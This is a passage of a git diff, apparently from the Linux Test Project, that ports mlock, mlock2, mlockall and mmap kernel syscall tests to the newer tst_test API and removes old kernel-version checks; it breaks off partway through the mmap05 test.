GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/* - * NAME - * mlock01.c - * - * DESCRIPTION - * Test to see that mlock works - *$ - * ALGORITHM - * test 1: - * Call mlock with various valid addresses and lengths. No - * error should be returned - * - * USAGE: - * -c n Run n copies concurrently - * -e Turn on errno logging - * -f Turn off functional testing - * -h Show this help screen - * -i n Execute test n times - * -I x Execute test for x seconds - * -p Pause for SIGUSR1 before starting - * -P x Pause for x seconds between iterations - * -t Turn on syscall timing + * Copyright (c) International Business Machines Corp., 2002 * * HISTORY * 06/2002 Written by Paul Larson - * - * RESTRICTIONS - * None */ -#include -#include -#include -#include "test.h" -void setup(); -void setup1(int); -void cleanup(); +/*\ + * [Description] + * + * Test mlock with various valid addresses and lengths. + */ -char *TCID = "mlock01"; -int TST_TOTAL = 4; +#include +#include "tst_test.h" -void *addr1; +static void *addr; -struct test_case_t { - void **addr; +static struct tcase { + char *msg; int len; - void (*setupfunc) (); -} TC[] = { - /* mlock should return ENOMEM when some or all of the address - * range pointed to by addr and len are not valid mapped pages - * in the address space of the process - */ - { - &addr1, 1, setup1}, { - &addr1, 1024, setup1}, { - &addr1, 1024 * 1024, setup1}, { - &addr1, 1024 * 1024 * 10, setup1} +} tcases[] = { + {"mlock 1 byte", 1}, + {"mlock 1024 bytes", 1024}, + {"mlock 1024 * 1024 bytes", 1024 * 1024}, + {"mlock 1024 * 1024 * 10 bytes", 1024 * 1024 * 10} }; -#if !defined(UCLINUX) - -int main(int ac, char **av) -{ - int lc, i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - /* - * FIXME (garrcoop): this should really test out whether or not the - * process's mappable address space is indeed accessible by the - * current user, instead of needing to be run by root all the time. - */ - tst_require_root(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { - - if (TC[i].setupfunc != NULL) - TC[i].setupfunc(TC[i].len); - - TEST(mlock(*(TC[i].addr), TC[i].len)); - - /* I'm confused -- given the description above this - * should fail as designed, but this application - * */ - if (TEST_RETURN == -1) - tst_resm(TFAIL | TTERRNO, "mlock failed"); - else - tst_resm(TPASS, "mlock passed"); - } - } - - cleanup(); - - tst_exit(); -} - -#else - -int main(void) +static void do_mlock(unsigned int i) { - tst_brkm(TCONF, NULL, "test is not available on uClinux"); -} - -#endif /* if !defined(UCLINUX) */ + struct tcase *tc = &tcases[i]; -void setup(void) -{ - TEST_PAUSE; + tst_res(TINFO, "%s", tc->msg); + addr = SAFE_MALLOC(tc->len); + TST_EXP_PASS(mlock(addr, tc->len), "mlock(%p, %d)", addr, tc->len); + free(addr); + addr = NULL; } -void setup1(int len) +static void cleanup(void) { - addr1 = malloc(len); - if (addr1 == NULL) - tst_brkm(TFAIL, cleanup, "malloc failed"); + if (addr) + free(addr); } -void cleanup(void) -{ -} +static struct tst_test test = { + .needs_root = 1, + .test = do_mlock, + .tcnt = ARRAY_SIZE(tcases), + .cleanup = cleanup, +}; diff --git a/testcases/kernel/syscalls/mlock/mlock02.c b/testcases/kernel/syscalls/mlock/mlock02.c index 1119e7ad..921ddeea 100755 --- a/testcases/kernel/syscalls/mlock/mlock02.c +++ b/testcases/kernel/syscalls/mlock/mlock02.c @@ -1,127 +1,46 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2002 - * 06/2002 Written by Paul Larson + * Copyright (c) International Business Machines Corp., 2002 * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software Foundation, - * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 06/2002 Written by Paul Larson */ -/* - * Test Description: - * Verify that, - * 1. mlock() fails with -1 return value and sets errno to ENOMEM, - * if some of the specified address range does not correspond to - * mapped pages in the address space of the process. - * 2. mlock() fails with -1 return value and sets errno to ENOMEM, - * if (Linux 2.6.9 and later) the caller had a non-zero RLIMIT_MEMLOCK - * soft resource limit, but tried to lock more memory than the limit - * permitted. This limit is not enforced if the process is privileged - * (CAP_IPC_LOCK). - * 3. mlock() fails with -1 return value and sets errno to EPERM, - * if (Linux 2.6.9 and later) the caller was not privileged (CAP_IPC_LOCK) - * and its RLIMIT_MEMLOCK soft resource limit was 0. +/*\ + * [Description] + * + * Test for ENOMEM, EPERM errors. + * + * 1) mlock(2) fails with ENOMEM if some of the specified address range + * does not correspond to mapped pages in the address space of + * the process. + * + * 2) mlock(2) fails with ENOMEM if the caller had a non-zero RLIMIT_MEMLOCK + * soft resource limit, but tried to lock more memory than the limit + * permitted. This limit is not enforced if the process is + * privileged (CAP_IPC_LOCK). + * + * 3) mlock(2) fails with EPERM if the caller was not privileged (CAP_IPC_LOCK) + * and its RLIMIT_MEMLOCK soft resource limit was 0. */ -#include #include #include +#include #include - -#include "test.h" -#include "safe_macros.h" - -char *TCID = "mlock02"; - -#if !defined(UCLINUX) - -static void setup(void); -static void cleanup(void); -static void test_enomem1(void); -static void test_enomem2(void); -static void test_eperm(void); -static void mlock_verify(const void *, const size_t, const int); +#include "tst_test.h" static size_t len; static struct rlimit original; static struct passwd *ltpuser; -static void (*test_func[])(void) = { test_enomem1, test_enomem2, test_eperm }; - -int TST_TOTAL = ARRAY_SIZE(test_func); - -int main(int ac, char **av) -{ - int lc, i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - (*test_func[i])(); - } - - cleanup(); - tst_exit(); -} - -static void setup(void) -{ - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - ltpuser = SAFE_GETPWNAM(cleanup, "nobody"); - - len = getpagesize(); - - SAFE_GETRLIMIT(cleanup, RLIMIT_MEMLOCK, &original); -} - static void test_enomem1(void) { void *addr; - struct rlimit rl; - /* - * RLIMIT_MEMLOCK resource limit. - * In Linux kernels before 2.6.9, this limit controlled the amount - * of memory that could be locked by a privileged process. Since - * Linux 2.6.9, no limits are placed on the amount of memory that a - * privileged process may lock, and this limit instead governs the - * amount of memory that an unprivileged process may lock. So here - * we set RLIMIT_MEMLOCK resource limit to RLIM_INFINITY when kernel - * is under 2.6.9, to make sure this ENOMEM error is indeed caused by - * that some of the specified address range does not correspond to - * mapped pages in the address space of the process. - */ - if ((tst_kvercmp(2, 6, 9)) < 0) { - rl.rlim_cur = RLIM_INFINITY; - rl.rlim_max = RLIM_INFINITY; - SAFE_SETRLIMIT(cleanup, RLIMIT_MEMLOCK, &rl); - } - - addr = SAFE_MMAP(cleanup, NULL, len, PROT_READ, + addr = SAFE_MMAP(NULL, len, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); - - SAFE_MUNMAP(cleanup, addr, len); - - mlock_verify(addr, len, ENOMEM); + SAFE_MUNMAP(addr, len); + TST_EXP_FAIL(mlock(addr, len), ENOMEM, "mlock(%p, %lu)", addr, len); } static void test_enomem2(void) @@ -129,29 +48,16 @@ static void test_enomem2(void) void *addr; struct rlimit rl; - if ((tst_kvercmp(2, 6, 9)) < 0) { - tst_resm(TCONF, - "ENOMEM error value test for this condition needs " - "kernel 2.6.9 or higher"); - return; - } - rl.rlim_max = len - 1; rl.rlim_cur = len - 1; - SAFE_SETRLIMIT(cleanup, RLIMIT_MEMLOCK, &rl); - - addr = SAFE_MMAP(cleanup, NULL, len, PROT_READ, + SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &rl); + addr = SAFE_MMAP(NULL, len, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); - - SAFE_SETEUID(cleanup, ltpuser->pw_uid); - - mlock_verify(addr, len, ENOMEM); - - SAFE_SETEUID(cleanup, 0); - - SAFE_MUNMAP(cleanup, addr, len); - - SAFE_SETRLIMIT(cleanup, RLIMIT_MEMLOCK, &original); + SAFE_SETEUID(ltpuser->pw_uid); + TST_EXP_FAIL(mlock(addr, len), ENOMEM, "mlock(%p, %lu)", addr, len); + SAFE_SETEUID(0); + SAFE_MUNMAP(addr, len); + SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &original); } static void test_eperm(void) @@ -159,59 +65,34 @@ static void test_eperm(void) void *addr; struct rlimit rl; - if ((tst_kvercmp(2, 6, 9)) < 0) { - tst_resm(TCONF, - "EPERM error value test needs kernel 2.6.9 or higher"); - return; - } - rl.rlim_max = 0; rl.rlim_cur = 0; - SAFE_SETRLIMIT(cleanup, RLIMIT_MEMLOCK, &rl); - - addr = SAFE_MMAP(cleanup, NULL, len, PROT_READ, + SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &rl); + addr = SAFE_MMAP(NULL, len, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); - - SAFE_SETEUID(cleanup, ltpuser->pw_uid); - - mlock_verify(addr, len, EPERM); - - SAFE_SETEUID(cleanup, 0); - - SAFE_MUNMAP(cleanup, addr, len); - - SAFE_SETRLIMIT(cleanup, RLIMIT_MEMLOCK, &original); -} - -static void mlock_verify(const void *addr, const size_t len, const int error) -{ - TEST(mlock(addr, len)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "mlock succeeded unexpectedly"); - return; - } - - if (TEST_ERRNO != error) { - tst_resm(TFAIL | TTERRNO, - "mlock didn't fail as expected; expected - %d : %s", - error, strerror(error)); - } else { - tst_resm(TPASS | TTERRNO, "mlock failed as expected"); - } + SAFE_SETEUID(ltpuser->pw_uid); + TST_EXP_FAIL(mlock(addr, len), EPERM, "mlock(%p, %lu)", addr, len); + SAFE_SETEUID(0); + SAFE_MUNMAP(addr, len); + SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &original); } -static void cleanup(void) +static void run(void) { + test_enomem1(); + test_enomem2(); + test_eperm(); } -#else - -int TST_TOTAL = 1; - -int main(void) +static void setup(void) { - tst_brkm(TCONF, NULL, "test is not available on uClinux"); + ltpuser = SAFE_GETPWNAM("nobody"); + len = getpagesize(); + SAFE_GETRLIMIT(RLIMIT_MEMLOCK, &original); } -#endif /* if !defined(UCLINUX) */ +static struct tst_test test = { + .needs_root = 1, + .setup = setup, + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/mlock/mlock03.c b/testcases/kernel/syscalls/mlock/mlock03.c index 8bc65701..3700b64b 100755 --- a/testcases/kernel/syscalls/mlock/mlock03.c +++ b/testcases/kernel/syscalls/mlock/mlock03.c @@ -1,5 +1,16 @@ +// SPDX-License-Identifier: GPL-2.0 /* + * Copyright (C) 2010 Red Hat, Inc. + */ + +/*\ + * [Description] + * + * This case is a regression test on old RHEL5. + * * Stack size mapping is decreased through mlock/munlock call. + * See the following url: + * https://bugzilla.redhat.com/show_bug.cgi?id=643426 * * This is to test kernel if it has a problem with shortening [stack] * mapping through several loops of mlock/munlock of /proc/self/maps. @@ -11,109 +22,61 @@ * munlock 44KiB bfefa000-bff05000 rw-p 00000000 00:00 0 [stack] * * with more iterations - could drop to 0KiB. - * - * Copyright (C) 2010 Red Hat, Inc. - * This program is free software; you can redistribute it and/or - * modify it under the terms of version 2 of the GNU General Public - * License as published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it - * is free of the rightful claim of any third person regarding - * infringement or the like. Any license provided herein, whether - * implied or otherwise, applies only to this software file. Patent - * licenses, if any, provided herein do not apply to combinations of - * this program with other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA - * 02110-1301, USA. */ + #include #include #include -#include "test.h" +#include +#include "tst_test.h" +#include "tst_safe_stdio.h" #define KB 1024 -char *TCID = "mlock03"; -int TST_TOTAL = 1; - -static void setup(void); -static void cleanup(void); - -int main(int argc, char *argv[]) +static void verify_mlock(void) { - int lc; long from, to; long first = -1, last = -1; char b[KB]; FILE *fp; - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); + fp = SAFE_FOPEN("/proc/self/maps", "r"); + while (!feof(fp)) { + if (!fgets(b, KB - 1, fp)) + break; + b[strlen(b) - 1] = '\0'; + if (sscanf(b, "%lx-%lx", &from, &to) != 2) { + tst_brk(TBROK, "parse %s start and end address failed", + b); + continue; + } - for (lc = 0; TEST_LOOPING(lc); lc++) { - fp = fopen("/proc/self/maps", "r"); - if (fp == NULL) - tst_brkm(TBROK | TERRNO, cleanup, "fopen"); - while (!feof(fp)) { - if (!fgets(b, KB - 1, fp)) - break; - b[strlen(b) - 1] = '\0'; - sscanf(b, "%lx-%lx", &from, &to); + /* Record the initial stack size. */ + if (strstr(b, "[stack]") != NULL) + first = (to - from) / KB; - /* Record the initial stack size. */ - if (lc == 0 && strstr(b, "[stack]") != NULL) - first = (to - from) / KB; + tst_res(TINFO, "mlock [%lx,%lx]", from, to); + if (mlock((const void *)from, to - from) == -1) + tst_res(TINFO | TERRNO, "mlock failed"); - switch (lc & 1) { - case 0: - if (mlock((const void *)from, to - from) == -1) - tst_resm(TINFO | TERRNO, - "mlock failed"); - break; - case 1: - if (munlock((void *)from, to - from) == -1) - tst_resm(TINFO | TERRNO, - "munlock failed"); - break; - default: - break; - } - tst_resm(TINFO, "%s from %lx to %0lx", - (lc & 1) ? "munlock" : "mlock", from, to); + tst_res(TINFO, "munlock [%lx,%lx]", from, to); + if (munlock((void *)from, to - from) == -1) + tst_res(TINFO | TERRNO, "munlock failed"); - /* Record the final stack size. */ - if (strstr(b, "[stack]") != NULL) - last = (to - from) / KB; - } - fclose(fp); + /* Record the final stack size. */ + if (strstr(b, "[stack]") != NULL) + last = (to - from) / KB; } - tst_resm(TINFO, "starting stack size is %ld", first); - tst_resm(TINFO, "final stack size is %ld", last); + SAFE_FCLOSE(fp); + + tst_res(TINFO, "starting stack size is %ld", first); + tst_res(TINFO, "final stack size is %ld", last); if (last < first) - tst_resm(TFAIL, "stack size is decreased."); + tst_res(TFAIL, "stack size is decreased."); else - tst_resm(TPASS, "stack size is not decreased."); - - cleanup(); - tst_exit(); + tst_res(TPASS, "stack size is not decreased."); } -void setup(void) -{ - tst_require_root(); - - tst_sig(FORK, DEF_HANDLER, cleanup); - TEST_PAUSE; -} - -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = verify_mlock, +}; diff --git a/testcases/kernel/syscalls/mlock/mlock04.c b/testcases/kernel/syscalls/mlock/mlock04.c index 8ac88458..f25460ba 100755 --- a/testcases/kernel/syscalls/mlock/mlock04.c +++ b/testcases/kernel/syscalls/mlock/mlock04.c @@ -1,102 +1,68 @@ +// SPDX-License-Identifier: GPL-2.0 /* - * This is a reproducer copied from one of LKML patch submission, + * Copyright (C) 2010 Red Hat, Inc. + */ + +/*\ + * [Description] + * + * This is a reproducer copied from one of LKML patch submission * which subject is * * [PATCH] mlock: revert the optimization for dirtying pages and triggering writeback. + * url see https://www.spinics.net/lists/kernel/msg1141090.html * * "In 5ecfda0, we do some optimization in mlock, but it causes * a very basic test case(attached below) of mlock to fail. So * this patch revert it with some tiny modification so that it * apply successfully with the lastest 38-rc2 kernel." * - * Copyright (C) 2010 Red Hat, Inc. - * This program is free software; you can redistribute it and/or - * modify it under the terms of version 2 of the GNU General Public - * License as published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it - * is free of the rightful claim of any third person regarding - * infringement or the like. Any license provided herein, whether - * implied or otherwise, applies only to this software file. Patent - * licenses, if any, provided herein do not apply to combinations of - * this program with other software, or any other product whatsoever. + * This bug was fixed by kernel + * commit fdf4c587a7 ("mlock: operate on any regions with protection != PROT_NONE") * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA - * 02110-1301, USA. + * As this case does, mmaps a file with PROT_WRITE permissions but without + * PROT_READ, so attempt to not unnecessarity break COW during mlock ended up + * causing mlock to fail with a permission problem on unfixed kernel. */ -#include "test.h" -#include "safe_macros.h" -#include "config.h" - -char *TCID = "mlock04"; -int TST_TOTAL = 1; #include #include #include -#include -#include -#include -#include -#include - -int fd, file_len = 40960; -char *testfile = "test_mlock"; +#include "tst_test.h" +#include "tst_safe_macros.h" -static void setup(void); -static void cleanup(void); +static int fd = -1, file_len = 40960; +static char *testfile = "test_mlock"; -int main(void) +static void verify_mlock(void) { char *buf; - int lc; - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - buf = mmap(NULL, file_len, PROT_WRITE, MAP_SHARED, fd, 0); - - if (buf == MAP_FAILED) - tst_brkm(TBROK | TERRNO, cleanup, "mmap"); - if (mlock(buf, file_len) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "mlock"); - - tst_resm(TINFO, "locked %d bytes from %p", file_len, buf); - - if (munlock(buf, file_len) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "munlock"); - - SAFE_MUNMAP(cleanup, buf, file_len); - } - - tst_resm(TPASS, "test succeeded."); - - cleanup(); - - tst_exit(); + buf = SAFE_MMAP(NULL, file_len, PROT_WRITE, MAP_SHARED, fd, 0); + TST_EXP_PASS(mlock(buf, file_len), "mlock(%p, %d)", buf, file_len); + SAFE_MUNLOCK(buf, file_len); + SAFE_MUNMAP(buf, file_len); } static void setup(void) { - tst_tmpdir(); - - fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR); - - SAFE_FTRUNCATE(cleanup, fd, file_len); - - TEST_PAUSE; + fd = SAFE_OPEN(testfile, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR); + SAFE_FTRUNCATE(fd, file_len); } static void cleanup(void) { - close(fd); - - tst_rmdir(); + if (fd > -1) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = verify_mlock, + .tags = (const struct tst_tag[]) { + {"linux-git", "fdf4c587a793"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/mlock2/mlock201.c b/testcases/kernel/syscalls/mlock2/mlock201.c index 1d1f5b7a..b0e5f12b 100755 --- a/testcases/kernel/syscalls/mlock2/mlock201.c +++ b/testcases/kernel/syscalls/mlock2/mlock201.c @@ -144,5 +144,4 @@ static struct tst_test test = { .test = verify_mlock2, .setup = setup, .needs_root = 1, - .min_kver = "2.6.9", }; diff --git a/testcases/kernel/syscalls/mlock2/mlock202.c b/testcases/kernel/syscalls/mlock2/mlock202.c index 630da656..3b496506 100755 --- a/testcases/kernel/syscalls/mlock2/mlock202.c +++ b/testcases/kernel/syscalls/mlock2/mlock202.c @@ -109,5 +109,4 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_root = 1, - .min_kver = "2.6.9", }; diff --git a/testcases/kernel/syscalls/mlock2/mlock203.c b/testcases/kernel/syscalls/mlock2/mlock203.c index 8451b2cd..0a519ad5 100755 --- a/testcases/kernel/syscalls/mlock2/mlock203.c +++ b/testcases/kernel/syscalls/mlock2/mlock203.c @@ -88,5 +88,4 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_root = 1, - .min_kver = "2.6.9", }; diff --git a/testcases/kernel/syscalls/mlockall/mlockall02.c b/testcases/kernel/syscalls/mlockall/mlockall02.c index f2eca09c..94d6e327 100755 --- a/testcases/kernel/syscalls/mlockall/mlockall02.c +++ b/testcases/kernel/syscalls/mlockall/mlockall02.c @@ -191,29 +191,25 @@ int setup_test(int i) "for mlockall error %s\n", TC[i].edesc); return 1; } - if (tst_kvercmp(2, 6, 9) >= 0) { - ltpuser = getpwnam(nobody_uid); - if (seteuid(ltpuser->pw_uid) == -1) { - tst_brkm(TBROK, cleanup, "seteuid() " - "failed to change euid to %d " - "errno = %d : %s", - ltpuser->pw_uid, TEST_ERRNO, - strerror(TEST_ERRNO)); + ltpuser = getpwnam(nobody_uid); + if (seteuid(ltpuser->pw_uid) == -1) { + tst_brkm(TBROK, cleanup, "seteuid() " + "failed to change euid to %d " + "errno = %d : %s", + ltpuser->pw_uid, TEST_ERRNO, + strerror(TEST_ERRNO)); return 1; - } } return 0; case 1: - if (tst_kvercmp(2, 6, 9) >= 0) { - rl.rlim_max = 0; - rl.rlim_cur = 0; - if (setrlimit(RLIMIT_MEMLOCK, &rl) != 0) { - tst_resm(TWARN, "setrlimit failed to " - "set the resource for " - "RLIMIT_MEMLOCK to check for " - "mlockall error %s\n", TC[i].edesc); + rl.rlim_max = 0; + rl.rlim_cur = 0; + if (setrlimit(RLIMIT_MEMLOCK, &rl) != 0) { + tst_resm(TWARN, "setrlimit failed to " + "set the resource for " + "RLIMIT_MEMLOCK to check for " + "mlockall error %s\n", TC[i].edesc); return 1; - } } ltpuser = getpwnam(nobody_uid); if (seteuid(ltpuser->pw_uid) == -1) { @@ -234,8 +230,7 @@ void cleanup_test(int i) switch (i) { case 0: - if (tst_kvercmp(2, 6, 9) >= 0) - seteuid(0); + seteuid(0); rl.rlim_max = -1; rl.rlim_cur = -1; diff --git a/testcases/kernel/syscalls/mmap/.gitignore b/testcases/kernel/syscalls/mmap/.gitignore index 8811226b..4591fdbb 100755 --- a/testcases/kernel/syscalls/mmap/.gitignore +++ b/testcases/kernel/syscalls/mmap/.gitignore @@ -5,7 +5,6 @@ /mmap04 /mmap05 /mmap06 -/mmap07 /mmap08 /mmap09 /mmap10 @@ -18,3 +17,4 @@ /mmap17 /mmap18 /mmap19 +/mmap20 diff --git a/testcases/kernel/syscalls/mmap/mmap02.c b/testcases/kernel/syscalls/mmap/mmap02.c index 566cc323..7ffe61fa 100755 --- a/testcases/kernel/syscalls/mmap/mmap02.c +++ b/testcases/kernel/syscalls/mmap/mmap02.c @@ -1,186 +1,64 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Test Description: - * Call mmap() with prot parameter set to PROT_READ and with the file - * descriptor being open for read, to map a file creating mapped memory - * with read access. The minimum file permissions should be 0444. - * - * The call should succeed to create the mapped region with required - * attributes. +/*\ + * [Description] * - * Expected Result: - * mmap() should succeed returning the address of the mapped region, - * the mapped region should contain the contents of the mapped file. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer + * Verify that, mmap() call with PROT_READ and a file descriptor which is + * open for read only, succeeds to map a file creating mapped memory with + * read access. */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "test.h" -#define TEMPFILE "mmapfile" - -char *TCID = "mmap02"; -int TST_TOTAL = 1; +#include +#include "tst_test.h" +#define TEMPFILE "mmapfile" +static ssize_t page_sz; +static int fd; static char *addr; -static char *dummy; -static size_t page_sz; -static int fildes; - -static void setup(void); -static void cleanup(void); - -int main(int ac, char **av) -{ - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call mmap to map the temporary file 'TEMPFILE' - * with read access. - */ - errno = 0; - addr = mmap(0, page_sz, PROT_READ, - MAP_FILE | MAP_SHARED, fildes, 0); - - /* Check for the return value of mmap() */ - if (addr == MAP_FAILED) { - tst_resm(TFAIL | TERRNO, "mmap of %s failed", TEMPFILE); - continue; - } - - /* - * Read the file contents into the dummy - * string. - */ - if (read(fildes, dummy, page_sz) < 0) { - tst_brkm(TFAIL | TERRNO, cleanup, - "reading %s failed", TEMPFILE); - } - - /* - * Check whether mapped memory region has - * the file contents. - */ - if (memcmp(dummy, addr, page_sz)) { - tst_resm(TFAIL, "mapped memory area contains " - "invalid data"); - } else { - tst_resm(TPASS, - "Functionality of mmap() successful"); - } - - /* Clean up things in case we are looping */ - /* Unmap the mapped memory */ - if (munmap(addr, page_sz) != 0) { - tst_brkm(TFAIL | TERRNO, cleanup, "munmapping failed"); - } - } - - cleanup(); - tst_exit(); -} +static char *buf; static void setup(void) { - char *tst_buff; - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - page_sz = getpagesize(); + buf = SAFE_MALLOC(page_sz); + memset(buf, 'A', page_sz); - /* Allocate space for the test buffer */ - if ((tst_buff = calloc(page_sz, sizeof(char))) == NULL) { - tst_brkm(TFAIL, NULL, "calloc failed (tst_buff)"); - } - - /* Fill the test buffer with the known data */ - memset(tst_buff, 'A', page_sz); + fd = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, page_sz); - tst_tmpdir(); - - /* Creat a temporary file used for mapping */ - if ((fildes = open(TEMPFILE, O_RDWR | O_CREAT, 0666)) < 0) { - free(tst_buff); - tst_brkm(TFAIL | TERRNO, cleanup, "opening %s failed", - TEMPFILE); - } - - /* Write test buffer contents into temporary file */ - if (write(fildes, tst_buff, page_sz) < (int)page_sz) { - free(tst_buff); - tst_brkm(TFAIL | TERRNO, cleanup, - "writing to %s failed", TEMPFILE); - } - - /* Free the memory allocated for test buffer */ - free(tst_buff); - - /* Change Mode permissions on Temporary file */ - if (fchmod(fildes, 0444) < 0) { - tst_brkm(TFAIL | TERRNO, cleanup, "fchmod(%s, 0444) failed", - TEMPFILE); - } - - /* Close the temporary file */ - if (close(fildes) < 0) { - tst_brkm(TFAIL | TERRNO, cleanup, "closing %s failed", - TEMPFILE); - } + SAFE_FCHMOD(fd, 0444); + SAFE_CLOSE(fd); + fd = SAFE_OPEN(TEMPFILE, O_RDONLY); +} - /* Open the temporary file again, - Readonly mode */ - if ((fildes = open(TEMPFILE, O_RDONLY)) < 0) { - tst_brkm(TFAIL, cleanup, "reopening %s readonly failed", - TEMPFILE); - } +static void run(void) +{ + addr = SAFE_MMAP(NULL, page_sz, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0); - /* Allocate and initialize dummy string of system page size bytes */ - if ((dummy = calloc(page_sz, sizeof(char))) == NULL) { - tst_brkm(TFAIL, cleanup, "calloc failed (dummy)"); - } + if (memcmp(buf, addr, page_sz) == 0) + tst_res(TPASS, "mmap() functionality successful"); + else + tst_res(TFAIL, "mapped memory area contains invalid data"); + SAFE_MUNMAP(addr, page_sz); } static void cleanup(void) { - close(fildes); - free(dummy); - tst_rmdir(); + if (fd > 0) + SAFE_CLOSE(fd); + + free(buf); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/mmap/mmap05.c b/testcases/kernel/syscalls/mmap/mmap05.c index 82f12254..7abddaa9 100755 --- a/testcases/kernel/syscalls/mmap/mmap05.c +++ b/testcases/kernel/syscalls/mmap/mmap05.c @@ -1,205 +1,83 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Test Description: - * Call mmap() to map a file creating mapped memory with no access under - * the following conditions - - * - The prot parameter is set to PROT_NONE - * - The file descriptor is open for read(any mode other than write) - * - The minimum file permissions should be 0444. - * - * The call should succeed to map the file creating mapped memory with the - * required attributes. - * - * Expected Result: - * mmap() should succeed returning the address of the mapped region, - * and an attempt to access the contents of the mapped region should give - * rise to the signal SIGSEGV. +/*\ + * [Description] * - * HISTORY - * 07/2001 Ported by Wayne Boyer + * Verify that, mmap() call with 'PROT_NONE' and a file descriptor which is + * open for read and write, succeeds to map the file creating mapped memory, + * but any attempt to access the contents of the mapped region causes the + * SIGSEGV signal. */ -#include + #include -#include -#include -#include -#include -#include -#include -#include -#include #include +#include "tst_test.h" -#include "test.h" - -#define TEMPFILE "mmapfile" - -char *TCID = "mmap05"; -int TST_TOTAL = 1; - +#define TEMPFILE "mmapfile" static size_t page_sz; static volatile char *addr; -static int fildes; -static volatile int pass = 0; +static int fd; +static volatile int sig_flag; static sigjmp_buf env; -static void setup(void); -static void cleanup(void); -static void sig_handler(int sig); - -int main(int ac, char **av) +static void sig_handler(int sig) { - int lc; - char file_content; - - 